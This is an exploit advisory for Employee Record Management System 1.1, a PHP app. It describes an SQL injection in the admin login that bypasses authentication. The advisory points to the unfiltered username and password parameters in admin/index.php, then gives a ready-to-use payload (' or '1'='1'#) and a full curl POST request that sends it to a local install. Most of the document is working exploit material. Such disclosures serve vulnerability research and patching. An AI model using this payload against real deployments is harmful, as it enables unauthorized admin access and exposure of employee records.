Employee Record Management System version 1.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
72386ef61198416f9af7bac6b5bd8bdc# Exploit Title: Employee Record Management System(ERMS) 1.1 - Authentication Bypass
# Date: 2020-07-20
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967
# Version: V1.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
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\admin\index.php
Vulnerable Code:
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line 7 : $uname=$_POST['username'];
line 8 : $Password=$_POST['Password'];
Vulnerable Issue:
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$uname=$_POST['username']; and $Password=$_POST['Password']; is not filtered correcty
POC:
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URL: http://localhost/erms/admin/index.php
Username : ' or '1'='1'#
Password : anything
Sample Request:
curl -i -s -k --location --request POST 'http://localhost/erms/admin/' \
--header 'Origin: http://localhost:88' \
--header 'Cookie: PHPSESSID=2fco8hh2r5ccveq520n33chc80' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \
--header 'Connection: close' \
--header 'Referer: http://localhost:88/erms/admin/' \
--header 'Host: localhost:88' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Content-Length: 66' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'username=%27+or+%271%27%3D%271%27%23&Password=anything&login=login'